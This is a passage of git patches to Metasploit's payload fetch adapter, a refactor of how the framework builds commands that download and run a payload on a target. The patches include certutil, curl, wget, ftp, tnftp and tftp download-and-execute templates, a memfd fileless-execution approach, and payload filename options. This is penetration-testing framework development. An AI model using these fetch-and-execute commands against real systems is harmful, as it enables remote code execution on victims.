CERTUTIL') - cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" + get_file_cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - cmd + _execute_add + cmd + _execute_add(get_file_cmd) end # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor @@ -260,37 +262,29 @@ def _generate_fileless(get_file_cmd) def _generate_curl_command case fetch_protocol when 'HTTP' - fetch_command = "curl -so #{_remote_destination} http://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}" when 'HTTPS' - fetch_command = "curl -sko #{_remote_destination} https://#{download_uri}" + get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}" when 'TFTP' - fetch_command = "curl -so #{_remote_destination} tftp://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command) - else - return fetch_command + " #{_execute_add}" - end + _execute_add(get_file_cmd) end def _generate_ftp_command case fetch_protocol when 'FTP' - fetch_command = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" when 'HTTP' - fetch_command = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" when 'HTTPS' - fetch_command = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command) - else - return fetch_command + "#{_execute_nix}" - end + _execute_add(get_file_cmd) end def _generate_tftp_command @@ -298,7 +292,7 @@ def _generate_tftp_command case fetch_protocol when 'TFTP' if windows? - fetch_command = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}" + fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}") else _check_tftp_file if datastore['FETCH_FILELESS'] && linux? @@ -316,36 +310,28 @@ def _generate_tftp_command def _generate_tnftp_command case fetch_protocol when 'FTP' - fetch_command = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" when 'HTTP' - fetch_command = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}" when 'HTTPS' - fetch_command = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}" + get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command) - else - return fetch_command + "#{_execute_nix}" - end + _execute_add(get_file_cmd) end def _generate_wget_command case fetch_protocol when 'HTTPS' - fetch_command = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}" when 'HTTP' - fetch_command = "wget -qO #{_remote_destination} http://#{download_uri}" + get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - if datastore['FETCH_FILELESS'] && linux? - return _generate_fileless(fetch_command) - else - return fetch_command + "#{_execute_add}" - end + _execute_add(get_file_cmd) end def _remote_destination diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index eb4654a3e30a..bc7c1196fa9b 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -1,16 +1,12 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions def initialize(info = {}) - super( - update_info( - info, - 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } - ) - ) + super register_options( [ Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), - Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false']) + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']), + Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false']) ] ) end diff --git a/lib/msf/core/payload/adapter/fetch/windows_options.rb b/lib/msf/core/payload/adapter/fetch/windows_options.rb index 7109d986ddce..ad19faf28b2a 100644 --- a/lib/msf/core/payload/adapter/fetch/windows_options.rb +++ b/lib/msf/core/payload/adapter/fetch/windows_options.rb @@ -2,10 +2,10 @@ module Msf::Payload::Adapter::Fetch::WindowsOptions def initialize(info = {}) super - deregister_options('FETCH_WRITABLE_DIR') register_options( [ Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]), + Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/) ] ) From dddcdccbefccccedae0561471734296a493949c4 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 16 Feb 2025 20:31:24 +0100 Subject: [PATCH 12/12] Fixing generating certutil fetch command --- lib/msf/core/payload/adapter/fetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 44d4fa65f7e4..4533064f6a99 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -230,7 +230,7 @@ def _generate_certutil_command else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - cmd + _execute_add(get_file_cmd) + _execute_add(get_file_cmd) end # The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor